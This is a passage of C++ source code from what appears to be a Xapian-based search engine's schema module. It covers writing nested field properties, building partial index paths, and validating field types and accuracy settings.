nullptr ? checked.second->size() != 2 : false; } if (checked.second != nullptr) { const auto& schema_obj = *checked.second; auto mut_properties = &get_mutable_properties(); if (replace) { mut_properties->clear(); } FieldVector fields; if (mut_properties->empty()) { // new schemas have empty properties specification.flags.field_found = false; } else { dispatch_feed_properties(*mut_properties); } dispatch_write_properties(*mut_properties, schema_obj, fields); write_item_value(mut_properties, fields); } // Inject remaining items from received object into the new schema const auto it_e = object.end(); for (auto it = object.begin(); it != it_e; ++it) { auto str_key = it->str(); if (str_key != SCHEMA_FIELD_NAME) { if (!mut_schema) { mut_schema = std::make_unique<MsgPack>(*schema); } mut_schema->get(str_key) = it.value(); } } return false; } catch (...) { L_DEBUG("ERROR: {}", object.to_string()); mut_schema.reset(); throw; } } MsgPack& Schema::write_subproperties(MsgPack*& mut_properties, std::string_view name, const MsgPack& object, FieldVector& fields) { L_CALL("Schema::write_subproperties({}, {}, {}, <fields>)", repr(mut_properties->to_string()), repr(name), repr(object.to_string())); Split<std::string_view> field_names(name, DB_OFFSPRING_UNION); auto it = field_names.begin(); assert(it != field_names.end()); if (specification.flags.is_namespace) { restart_namespace_specification(); for (; !it.last(); ++it) { const auto& field_name = *it; verify_dynamic(field_name); update_prefixes(); } const auto& field_name = *it; dispatch_write_properties(*mut_properties, object, fields); verify_dynamic(field_name); update_prefixes(); specification.flags.inside_namespace = true; } else { for (; !it.last(); ++it) { const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(mut_properties, field_name)) { update_prefixes(); } else { verify_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(mut_properties, specification.meta_name)) { update_prefixes(); continue; } } add_field(mut_properties); for (++it; !it.last(); ++it) { const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { verify_dynamic(n_field_name); add_field(mut_properties); } } const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { verify_dynamic(n_field_name); add_field(mut_properties, object, fields); } return *mut_properties; } } const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(mut_properties, field_name)) { dispatch_write_properties(*mut_properties, object, fields); update_prefixes(); } else { verify_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(mut_properties, specification.meta_name)) { dispatch_write_properties(*mut_properties, object, fields); update_prefixes(); return *mut_properties; } } add_field(mut_properties, object, fields); return *mut_properties; } } return *mut_properties; } MsgPack& Schema::write_subproperties(MsgPack*& mut_properties, const std::string& name) { L_CALL("Schema::write_subproperties({}, {})", repr(mut_properties->to_string()), repr(name)); Split<std::string_view> field_names(name, DB_OFFSPRING_UNION); auto it = field_names.begin(); assert(it != field_names.end()); if (specification.flags.is_namespace) { restart_namespace_specification(); for (; !it.last(); ++it) { const auto& field_name = *it; verify_dynamic(field_name); update_prefixes(); } const auto& field_name = *it; verify_dynamic(field_name); update_prefixes(); specification.flags.inside_namespace = true; } else { for (; !it.last(); ++it) { const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(mut_properties, field_name)) { update_prefixes(); } else { verify_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(mut_properties, specification.meta_name)) { update_prefixes(); continue; } } add_field(mut_properties); for (++it; !it.last(); ++it) { const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { verify_dynamic(n_field_name); add_field(mut_properties); } } const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { verify_dynamic(n_field_name); add_field(mut_properties); } return *mut_properties; } } const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(mut_properties, field_name)) { update_prefixes(); } else { verify_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(mut_properties, specification.meta_name)) { update_prefixes(); return *mut_properties; } } add_field(mut_properties); return *mut_properties; } } return *mut_properties; } void Schema::write_object(MsgPack*& mut_parent_properties, const MsgPack& object, const std::string& name) { L_CALL("Schema::write_object({}, {}, {})", repr(mut_parent_properties->to_string()), repr(object.to_string()), repr(name)); if (is_comment(name)) { return; // skip comments (empty fields or fields starting with '#') } if (is_valid(name) && (!specification.flags.recurse || specification.ignored.find(name) != specification.ignored.end())) { return; } switch (object.get_type()) { case MsgPack::Type::MAP: { auto spc_start = specification; auto properties = &*mut_parent_properties; FieldVector fields; properties = &write_subproperties(properties, name, object, fields); write_item_value(properties, fields); specification = std::move(spc_start); return; } case MsgPack::Type::ARRAY: { return write_array(mut_parent_properties, object, name); } case MsgPack::Type::NIL: case MsgPack::Type::UNDEFINED: { auto spc_start = specification; auto properties = &*mut_parent_properties; write_subproperties(properties, name); specification = std::move(spc_start); return; } default: { auto spc_start = specification; auto properties = &*mut_parent_properties; write_subproperties(properties, name); write_item_value(properties); specification = std::move(spc_start); return; } } } void Schema::write_array(MsgPack*& mut_parent_properties, const MsgPack& array, const std::string& name) { L_CALL("Schema::write_array({}, {}, {})", repr(mut_parent_properties->to_string()), repr(array.to_string()), repr(name)); if (array.empty()) { set_type_to_array(); return; } auto spc_start = specification; size_t pos = 0; for (const auto& item : array) { switch (item.get_type()) { case MsgPack::Type::MAP: { auto properties = &*mut_parent_properties; FieldVector fields; properties = &write_subproperties(properties, name, item, fields); write_item_value(properties, fields); specification = spc_start; break; } case MsgPack::Type::NIL: case MsgPack::Type::UNDEFINED: { auto properties = &*mut_parent_properties; write_subproperties(properties, name); specification = spc_start; break; } default: { auto properties = &*mut_parent_properties; write_subproperties(properties, name); write_item_value(properties); specification = spc_start; break; } } ++pos; } } void Schema::write_item_value(MsgPack*& mut_properties) { L_CALL("Schema::write_item_value()"); if (!specification.flags.concrete) { bool foreign_type = specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign; if (!foreign_type && !specification.endpoint.empty()) { if (specification.flags.strict) { THROW(MissingTypeError, "Type of field {} is missing", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } specification.sep_types[SPC_FOREIGN_TYPE] = FieldType::foreign; } bool concrete_type = specification.sep_types[SPC_CONCRETE_TYPE] != FieldType::empty; if (!concrete_type && !foreign_type) { if (specification.flags.strict) { THROW(MissingTypeError, "Type of field {} is missing", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } if (specification.flags.inside_namespace) { validate_required_namespace_data(); } else { validate_required_data(*mut_properties); } } if (!specification.partial_index_spcs.empty()) { index_spc_t start_index_spc(specification.sep_types[SPC_CONCRETE_TYPE], std::move(specification.prefix.field), specification.slot, std::move(specification.accuracy), std::move(specification.acc_prefix)); for (const auto& index_spc : specification.partial_index_spcs) { specification.update(index_spc); } specification.update(std::move(start_index_spc)); } if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::empty && specification.sep_types[SPC_OBJECT_TYPE] == FieldType::empty && specification.sep_types[SPC_ARRAY_TYPE] == FieldType::empty) { set_type_to_object(); } } inline void Schema::write_item_value(MsgPack*& mut_properties, const FieldVector& fields) { L_CALL("Schema::write_item_value(<const MsgPack*>, <FieldVector>)"); const auto spc_start = specification; if (!specification.flags.concrete) { bool foreign_type = specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign; if (!foreign_type && !specification.endpoint.empty()) { if (specification.flags.strict) { THROW(MissingTypeError, "Type of field {} is missing", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } specification.sep_types[SPC_FOREIGN_TYPE] = FieldType::foreign; } if (specification.flags.inside_namespace) { validate_required_namespace_data(); } else { validate_required_data(*mut_properties); } } if (specification.flags.is_namespace && !fields.empty()) { specification = std::move(spc_start); return; } if (fields.empty()) { if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::empty && specification.sep_types[SPC_OBJECT_TYPE] == FieldType::empty && specification.sep_types[SPC_ARRAY_TYPE] == FieldType::empty) { set_type_to_object(); } } else { if (specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign) { THROW(ClientError, "{} is a foreign type and as such it cannot have extra fields", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } set_type_to_object(); const auto spc_object = std::move(specification); for (const auto& field : fields) { specification = spc_object; write_object(mut_properties, *field.second, field.first); } } } /* _____ _____ _____ _____ _____ _____ _____ _____ * |_____|_____|_____|_____|_____|_____|_____|_____| */ std::unordered_set<std::string> Schema::get_partial_paths(const std::vector<required_spc_t::prefix_t>& partial_prefixes, bool uuid_path) { L_CALL("Schema::get_partial_paths({}, {})", partial_prefixes.size(), uuid_path); if (partial_prefixes.size() > LIMIT_PARTIAL_PATHS_DEPTH) { THROW(ClientError, "Partial paths limit depth is {}, and partial paths provided has a depth of {}", LIMIT_PARTIAL_PATHS_DEPTH, partial_prefixes.size()); } std::vector<std::string> paths; paths.reserve(std::pow(2, partial_prefixes.size() - 2)); auto it = partial_prefixes.begin(); paths.push_back(it->field); if (uuid_path) { if (!it->uuid.empty() && it->field != it->uuid) { paths.push_back(it->uuid); } const auto it_last = partial_prefixes.end() - 1; for (++it; it != it_last; ++it) { const auto size = paths.size(); for (size_t i = 0; i < size; ++i) { std::string path; path.reserve(paths[i].length() + it->field.length()); path.assign(paths[i]).append(it->field); paths.push_back(std::move(path)); if (!it->uuid.empty() && it->field != it->uuid) { path.reserve(paths[i].length() + it->uuid.length()); path.assign(paths[i]).append(it->uuid); paths.push_back(std::move(path)); } } } if (!it_last->uuid.empty() && it_last->field != it_last->uuid) { const auto size = paths.size(); for (size_t i = 0; i < size; ++i) { std::string path; path.reserve(paths[i].length() + it_last->uuid.length()); path.assign(paths[i]).append(it_last->uuid); paths.push_back(std::move(path)); paths[i].append(it_last->field); } } else { for (auto& path : paths) { path.append(it_last->field); } } } else { const auto it_last = partial_prefixes.end() - 1; for (++it; it != it_last; ++it) { const auto size = paths.size(); for (size_t i = 0; i < size; ++i) { std::string path; path.reserve(paths[i].length() + it->field.length()); path.assign(paths[i]).append(it->field); paths.push_back(std::move(path)); } } for (auto& path : paths) { path.append(it_last->field); } } return std::unordered_set<std::string>(std::make_move_iterator(paths.begin()), std::make_move_iterator(paths.end())); } void Schema::complete_namespace_specification(const MsgPack& item_value) { L_CALL("Schema::complete_namespace_specification({})", repr(item_value.to_string())); if (!specification.flags.concrete) { bool foreign_type = specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign; if (!foreign_type && !specification.endpoint.empty()) { if (specification.flags.strict) { THROW(MissingTypeError, "Type of field {} is missing", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } specification.sep_types[SPC_FOREIGN_TYPE] = FieldType::foreign; } bool concrete_type = specification.sep_types[SPC_CONCRETE_TYPE] != FieldType::empty; if (!concrete_type && !foreign_type) { if (specification.flags.strict) { THROW(MissingTypeError, "Type of field {} is missing", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } guess_field_type(item_value); } validate_required_namespace_data(); } if (specification.partial_prefixes.size() > 2) { auto paths = get_partial_paths(specification.partial_prefixes, specification.flags.uuid_path); specification.partial_index_spcs.reserve(paths.size()); if (toUType(specification.index & TypeIndex::VALUES) != 0u) { for (auto& path : paths) { specification.partial_index_spcs.emplace_back(get_namespace_specification(specification.sep_types[SPC_CONCRETE_TYPE], std::move(path))); } } else { auto global_type = specification_t::global_type(specification.sep_types[SPC_CONCRETE_TYPE]); for (auto& path : paths) { specification.partial_index_spcs.emplace_back(global_type, std::move(path)); } } } else { if (specification.flags.uuid_path) { switch (specification.index_uuid_field) { case UUIDFieldIndex::uuid: { if (specification.prefix.uuid.empty()) { auto global_type = specification_t::global_type(specification.sep_types[SPC_CONCRETE_TYPE]); if (specification.sep_types[SPC_CONCRETE_TYPE] == global_type) { // Use specification directly because path has never been indexed as UIDFieldIndex::BOTH and type is the same as global_type. if (toUType(specification.index & TypeIndex::VALUES) != 0u) { specification.slot = get_slot(specification.prefix.field, specification.get_ctype()); for (auto& acc_prefix : specification.acc_prefix) { acc_prefix.insert(0, specification.prefix.field); } } } else if (toUType(specification.index & TypeIndex::VALUES) != 0u) { specification.partial_index_spcs.emplace_back(get_namespace_specification(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.field)); } else { specification.partial_index_spcs.emplace_back(global_type, specification.prefix.field); } } else if (toUType(specification.index & TypeIndex::VALUES) != 0u) { specification.partial_index_spcs.emplace_back(get_namespace_specification(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.uuid)); } else { specification.partial_index_spcs.emplace_back(specification_t::global_type(specification.sep_types[SPC_CONCRETE_TYPE]), specification.prefix.uuid); } break; } case UUIDFieldIndex::uuid_field: { auto global_type = specification_t::global_type(specification.sep_types[SPC_CONCRETE_TYPE]); if (specification.sep_types[SPC_CONCRETE_TYPE] == global_type) { // Use specification directly because type is the same as global_type. if (toUType(specification.index & TypeIndex::FIELD_VALUES) != 0u) { if (specification.flags.has_uuid_prefix) { specification.slot = get_slot(specification.prefix.field, specification.get_ctype()); } for (auto& acc_prefix : specification.acc_prefix) { acc_prefix.insert(0, specification.prefix.field); } } } else if (toUType(specification.index & TypeIndex::VALUES) != 0u) { specification.partial_index_spcs.emplace_back(get_namespace_specification(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.field)); } else { specification.partial_index_spcs.emplace_back(global_type, specification.prefix.field); } break; } case UUIDFieldIndex::both: { if (toUType(specification.index & TypeIndex::VALUES) != 0u) { specification.partial_index_spcs.emplace_back(get_namespace_specification(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.field)); specification.partial_index_spcs.emplace_back(get_namespace_specification(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.uuid)); } else { auto global_type = specification_t::global_type(specification.sep_types[SPC_CONCRETE_TYPE]); specification.partial_index_spcs.emplace_back(global_type, std::move(specification.prefix.field)); specification.partial_index_spcs.emplace_back(global_type, specification.prefix.uuid); } break; } case UUIDFieldIndex::INVALID: break; } } else { auto global_type = specification_t::global_type(specification.sep_types[SPC_CONCRETE_TYPE]); if (specification.sep_types[SPC_CONCRETE_TYPE] == global_type) { // Use specification directly because path is not uuid and type is the same as global_type. if (toUType(specification.index & TypeIndex::FIELD_VALUES) != 0u) { for (auto& acc_prefix : specification.acc_prefix) { acc_prefix.insert(0, specification.prefix.field); } } } else if (toUType(specification.index & TypeIndex::VALUES) != 0u) { specification.partial_index_spcs.emplace_back(get_namespace_specification(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.field)); } else { specification.partial_index_spcs.emplace_back(global_type, specification.prefix.field); } } } specification.flags.complete = true; } void Schema::complete_specification(const MsgPack& item_value) { L_CALL("Schema::complete_specification({})", repr(item_value.to_string())); if (!specification.flags.concrete) { bool foreign_type = specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign; if (!foreign_type && !specification.endpoint.empty()) { if (specification.flags.strict) { THROW(MissingTypeError, "Type of field {} is missing", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } specification.sep_types[SPC_FOREIGN_TYPE] = FieldType::foreign; } bool concrete_type = specification.sep_types[SPC_CONCRETE_TYPE] != FieldType::empty; if (!concrete_type && !foreign_type) { if (specification.flags.strict) { THROW(MissingTypeError, "Type of field {} is missing", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } guess_field_type(item_value); } if (specification.sep_types[SPC_CONCRETE_TYPE] != FieldType::empty) { validate_required_data(get_mutable_properties(specification.full_meta_name)); } } if (specification.partial_prefixes.size() > 2) { auto paths = get_partial_paths(specification.partial_prefixes, specification.flags.uuid_path); specification.partial_index_spcs.reserve(paths.size()); paths.erase(specification.prefix.field); if (!specification.local_prefix.uuid.empty()) { // local_prefix.uuid tell us if the last field is indexed as UIDFieldIndex::BOTH. paths.erase(specification.prefix.uuid); } if (toUType(specification.index & TypeIndex::VALUES) != 0u) { for (auto& path : paths) { specification.partial_index_spcs.emplace_back(get_namespace_specification(specification.sep_types[SPC_CONCRETE_TYPE], std::move(path))); } } else { auto global_type = specification_t::global_type(specification.sep_types[SPC_CONCRETE_TYPE]); for (auto& path : paths) { specification.partial_index_spcs.emplace_back(global_type, std::move(path)); } } } if (specification.flags.uuid_path) { switch (specification.index_uuid_field) { case UUIDFieldIndex::uuid: { if (specification.prefix.uuid.empty()) { // Use specification directly because path has never been indexed as UIDFieldIndex::BOTH. if (toUType(specification.index & TypeIndex::FIELD_VALUES) != 0u) { specification.slot = get_slot(specification.prefix.field, specification.get_ctype()); for (auto& acc_prefix : specification.acc_prefix) { acc_prefix.insert(0, specification.prefix.field); } } } else if (toUType(specification.index & TypeIndex::FIELD_VALUES) != 0u) { index_spc_t spc_uuid(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.uuid, get_slot(specification.prefix.uuid, specification.get_ctype()), specification.accuracy, specification.acc_prefix); for (auto& acc_prefix : spc_uuid.acc_prefix) { acc_prefix.insert(0, spc_uuid.prefix); } specification.partial_index_spcs.push_back(std::move(spc_uuid)); } else { specification.partial_index_spcs.emplace_back(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.uuid); } break; } case UUIDFieldIndex::uuid_field: { // Use specification directly. if (toUType(specification.index & TypeIndex::FIELD_VALUES) != 0u) { if (specification.flags.has_uuid_prefix) { specification.slot = get_slot(specification.prefix.field, specification.get_ctype()); } for (auto& acc_prefix : specification.acc_prefix) { acc_prefix.insert(0, specification.prefix.field); } } break; } case UUIDFieldIndex::both: { if (toUType(specification.index & TypeIndex::FIELD_VALUES) != 0u) { index_spc_t spc_field(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.field, specification.flags.has_uuid_prefix ? get_slot(specification.prefix.field, specification.get_ctype()) : specification.slot, specification.accuracy, specification.acc_prefix); for (auto& acc_prefix : spc_field.acc_prefix) { acc_prefix.insert(0, spc_field.prefix); } index_spc_t spc_uuid(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.uuid, get_slot(specification.prefix.uuid, specification.get_ctype()), specification.accuracy, specification.acc_prefix); for (auto& acc_prefix : spc_uuid.acc_prefix) { acc_prefix.insert(0, spc_uuid.prefix); } specification.partial_index_spcs.push_back(std::move(spc_field)); specification.partial_index_spcs.push_back(std::move(spc_uuid)); } else { specification.partial_index_spcs.emplace_back(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.field); specification.partial_index_spcs.emplace_back(specification.sep_types[SPC_CONCRETE_TYPE], specification.prefix.uuid); } break; } case UUIDFieldIndex::INVALID: break; } } else { if (toUType(specification.index & TypeIndex::FIELD_VALUES) != 0u) { for (auto& acc_prefix : specification.acc_prefix) { acc_prefix.insert(0, specification.prefix.field); } } } specification.flags.complete = true; } inline void Schema::set_type_to_object() { L_CALL("Schema::set_type_to_object()"); if unlikely(specification.sep_types[SPC_OBJECT_TYPE] == FieldType::empty && !specification.flags.inside_namespace) { specification.sep_types[SPC_OBJECT_TYPE] = FieldType::object; auto& mut_properties = get_mutable_properties(specification.full_meta_name); mut_properties[RESERVED_TYPE] = _get_str_type(specification.sep_types); } } inline void Schema::set_type_to_array() { L_CALL("Schema::set_type_to_array()"); if unlikely(specification.sep_types[SPC_ARRAY_TYPE] == FieldType::empty && !specification.flags.inside_namespace) { specification.sep_types[SPC_ARRAY_TYPE] = FieldType::array; auto& mut_properties = get_mutable_properties(specification.full_meta_name); mut_properties[RESERVED_TYPE] = _get_str_type(specification.sep_types); } } void Schema::validate_required_namespace_data() { L_CALL("Schema::validate_required_namespace_data()"); switch (specification.sep_types[SPC_CONCRETE_TYPE]) { case FieldType::geo: // Set partials and error. specification.flags.partials = default_spc.flags.partials; specification.error = default_spc.error; specification.flags.concrete = true; break; case FieldType::string: case FieldType::text: specification.flags.ngram = default_spc.flags.ngram; specification.flags.cjk_ngram = default_spc.flags.cjk_ngram; specification.flags.cjk_words = default_spc.flags.cjk_words; specification.language = default_spc.language; if (!specification.language.empty()) { specification.stop_strategy = default_spc.stop_strategy; } specification.stem_language = default_spc.stem_language; if (!specification.stem_language.empty()) { specification.stem_strategy = default_spc.stem_strategy; } specification.flags.concrete = true; break; case FieldType::keyword: if (!specification.flags.has_bool_term) { specification.flags.bool_term = strings::hasupper(specification.meta_name); specification.flags.has_bool_term = specification.flags.bool_term; } specification.flags.concrete = true; break; case FieldType::script: if (!specification.flags.has_index) { specification.index = TypeIndex::NONE; // Fallback to index anything. specification.flags.has_index = true; } specification.flags.concrete = true; break; case FieldType::date: case FieldType::datetime: case FieldType::time: case FieldType::timedelta: case FieldType::integer: case FieldType::positive: case FieldType::floating: case FieldType::boolean: case FieldType::uuid: specification.flags.concrete = true; break; case FieldType::empty: specification.flags.concrete = false; break; default: THROW(ClientError, "{}: '{}' is not supported", RESERVED_TYPE, enum_name(specification.sep_types[SPC_CONCRETE_TYPE])); } } void Schema::validate_required_data(MsgPack& mut_properties) { L_CALL("Schema::validate_required_data({})", repr(mut_properties.to_string())); dispatch_set_default_spc(mut_properties); std::set<uint64_t> set_acc; auto type = specification.sep_types[SPC_CONCRETE_TYPE]; switch (type) { case FieldType::geo: { // Set partials and error. mut_properties[RESERVED_PARTIALS] = static_cast<bool>(specification.flags.partials); mut_properties[RESERVED_ERROR] = specification.error; if (toUType(specification.index & TypeIndex::TERMS) != 0u) { if (specification.doc_acc) { if (specification.doc_acc->is_array()) { for (const auto& _accuracy : *specification.doc_acc) { if (_accuracy.is_number()) { const auto val_acc = _accuracy.u64(); if (val_acc <= HTM_MAX_LEVEL) { set_acc.insert(val_acc); } else { THROW(ClientError, "Data inconsistency, level value in '{}': '{}' must be a positive number between 0 and {} ({} not supported)", RESERVED_ACCURACY, GEO_STR, HTM_MAX_LEVEL, val_acc); } } else { THROW(ClientError, "Data inconsistency, level value in '{}': '{}' must be a positive number between 0 and {}", RESERVED_ACCURACY, GEO_STR, HTM_MAX_LEVEL); } } } else { THROW(ClientError, "Data inconsistency, level value in '{}': '{}' must be a positive number between 0 and {}", RESERVED_ACCURACY, GEO_STR, HTM_MAX_LEVEL); } } else { set_acc.insert(def_accuracy_geo.begin(), def_accuracy_geo.end()); } } specification.flags.concrete = true; break; } case FieldType::date: case FieldType::datetime: { if (toUType(specification.index & TypeIndex::TERMS) != 0u) { if (specification.doc_acc) { if (specification.doc_acc->is_array()) { for (const auto& _accuracy : *specification.doc_acc) { uint64_t accuracy; if (_accuracy.is_string()) { auto accuracy_date = _get_accuracy_datetime(_accuracy.str_view()); if (accuracy_date != UnitTime::INVALID) { accuracy = toUType(accuracy_date); } else { THROW(ClientError, "Data inconsistency, '{}': '{}' must be a subset of {} ({} not supported)", RESERVED_ACCURACY, type == FieldType::datetime ? DATETIME_STR : DATE_STR, repr(str_set_acc_date), repr(_accuracy.str_view())); } } else if (_accuracy.is_number()) { accuracy = _accuracy.u64(); if (!validate_acc_date(static_cast<UnitTime>(accuracy))) { THROW(ClientError, "Data inconsistency, '{}' in '{}' must be a subset of {}", RESERVED_ACCURACY, type == FieldType::datetime ? DATETIME_STR : DATE_STR, repr(str_set_acc_date)); } } else { THROW(ClientError, "Data inconsistency, '{}': '{}' must be a subset of {} ({} not supported)", RESERVED_ACCURACY, type == FieldType::datetime ? DATETIME_STR : DATE_STR, repr(str_set_acc_date), repr(_accuracy.str_view())); } set_acc.insert(accuracy); } } else { THROW(ClientError, "Data inconsistency, '{}' in '{}' must be a subset of {}", RESERVED_ACCURACY, type == FieldType::datetime ? DATETIME_STR : DATE_STR, repr(str_set_acc_date)); } } else { set_acc.insert(def_accuracy_datetime.begin(), def_accuracy_datetime.end()); } } specification.flags.concrete = true; break; } case FieldType::time: case FieldType::timedelta: { if (toUType(specification.index & TypeIndex::TERMS) != 0u) { if (specification.doc_acc) { if (specification.doc_acc->is_array()) { for (const auto& _accuracy : *specification.doc_acc) { if (_accuracy.is_string()) { auto accuracy_time = _get_accuracy_time(_accuracy.str_view()); if (accuracy_time != UnitTime::INVALID) { set_acc.insert(toUType(accuracy_time)); } else { THROW(ClientError, "Data inconsistency, '{}': '{}' must be a subset of {} ({} not supported)", RESERVED_ACCURACY, enum_name(specification.sep_types[SPC_CONCRETE_TYPE]), repr(str_set_acc_time), repr(_accuracy.str_view())); } } else { THROW(ClientError, "Data inconsistency, '{}': '{}' must be a subset of {} ({} not supported)", RESERVED_ACCURACY, enum_name(specification.sep_types[SPC_CONCRETE_TYPE]), repr(str_set_acc_time), repr(_accuracy.str_view())); } } } else { THROW(ClientError, "Data inconsistency, '{}' in '{}' must be a subset of {}", RESERVED_ACCURACY, enum_name(specification.sep_types[SPC_CONCRETE_TYPE]), repr(str_set_acc_time)); } } else { set_acc.insert(def_accuracy_time.begin(), def_accuracy_time.end()); } } specification.flags.concrete = true; break; } case FieldType::integer: case FieldType::positive: case FieldType::floating: { if (toUType(specification.index & TypeIndex::TERMS) != 0u) { if (specification.doc_acc) { if (specification.doc_acc->is_array()) { for (const auto& _accuracy : *specification.doc_acc) { if (_accuracy.is_number()) { set_acc.insert(_accuracy.u64()); } else { THROW(ClientError, "Data inconsistency, '{}' in '{}' must be an array of positive numbers", RESERVED_ACCURACY, enum_name(specification.sep_types[SPC_CONCRETE_TYPE])); } } } else { THROW(ClientError, "Data inconsistency, '{}' in '{}' must be an array of positive numbers", RESERVED_ACCURACY, enum_name(specification.sep_types[SPC_CONCRETE_TYPE])); } } else { set_acc.insert(def_accuracy_num.begin(), def_accuracy_num.end()); } } specification.flags.concrete = true; break; } case FieldType::string: case FieldType::text: { mut_properties[RESERVED_NGRAM] = static_cast<bool>(specification.flags.ngram); mut_properties[RESERVED_CJK_NGRAM] = static_cast<bool>(specification.flags.cjk_ngram); mut_properties[RESERVED_CJK_WORDS] = static_cast<bool>(specification.flags.cjk_words); // Language could be needed, for soundex. if (specification.aux_language.empty() && !specification.aux_stem_language.empty()) { specification.language = specification.aux_stem_language; } if (!specification.language.empty()) { mut_properties[RESERVED_LANGUAGE] = specification.language; mut_properties[RESERVED_STOP_STRATEGY] = enum_name(specification.stop_strategy); } if (specification.aux_stem_language.empty() && !specification.aux_language.empty()) { specification.stem_language = specification.aux_language; } if (!specification.stem_language.empty()) { mut_properties[RESERVED_STEM_LANGUAGE] = specification.stem_language; mut_properties[RESERVED_STEM_STRATEGY] = enum_name(specification.stem_strategy); } specification.flags.concrete = true; break; } case FieldType::keyword: { // Process RESERVED_BOOL_TERM if (!specification.flags.has_bool_term) { // By default, if normalized name has upper characters then it is consider bool term. const auto bool_term = strings::hasupper(specification.meta_name); if (specification.flags.bool_term != bool_term) { specification.flags.bool_term = bool_term; mut_properties[RESERVED_BOOL_TERM] = static_cast<bool>(specification.flags.bool_term); } specification.flags.has_bool_term = true; } specification.flags.concrete = true; break; } case FieldType::script: { if (!specification.flags.has_index) { const auto index = TypeIndex::NONE; // Fallback to index anything. if (specification.index != index) { specification.index = index; mut_properties[RESERVED_INDEX] = _get_str_index(index); } specification.flags.has_index = true; } specification.flags.concrete = true; break; } case FieldType::boolean: case FieldType::uuid: specification.flags.concrete = true; break; case FieldType::empty: specification.flags.concrete = false; break; default: THROW(ClientError, "{}: '{}' is not supported", RESERVED_TYPE, enum_name(specification.sep_types[SPC_CONCRETE_TYPE])); } // If field is namespace fallback to index anything but values. if (!specification.flags.has_index && !specification.partial_prefixes.empty()) { const auto index = specification.index & ~TypeIndex::VALUES; if (specification.index != index) { specification.index = index; mut_properties[RESERVED_INDEX] = _get_str_index(index); } specification.flags.has_index = true; } if (specification.index != TypeIndex::NONE) { if (specification.flags.concrete) { if (toUType(specification.index & TypeIndex::VALUES) != 0u) { // Write RESERVED_SLOT in properties (if it has values). if (specification.slot == Xapian::BAD_VALUENO) { specification.slot = get_slot(specification.prefix.field, specification.get_ctype()); } mut_properties[RESERVED_SLOT] = specification.slot; // Write RESERVED_ACCURACY and RESERVED_ACC_PREFIX in properties. if (!set_acc.empty()) { specification.acc_prefix.clear(); for (const auto& acc : set_acc) { specification.acc_prefix.push_back(get_prefix(acc)); } specification.accuracy.assign(set_acc.begin(), set_acc.end()); switch (specification.sep_types[SPC_CONCRETE_TYPE]) { case FieldType::date: case FieldType::datetime: case FieldType::time: case FieldType::timedelta: mut_properties[RESERVED_ACCURACY] = MsgPack::ARRAY(); for (auto& acc : specification.accuracy) { mut_properties[RESERVED_ACCURACY].push_back(_get_str_acc_date(static_cast<UnitTime>(acc))); } break; default: mut_properties[RESERVED_ACCURACY] = specification.accuracy; break; } mut_properties[RESERVED_ACC_PREFIX] = specification.acc_prefix; } } } } // Process 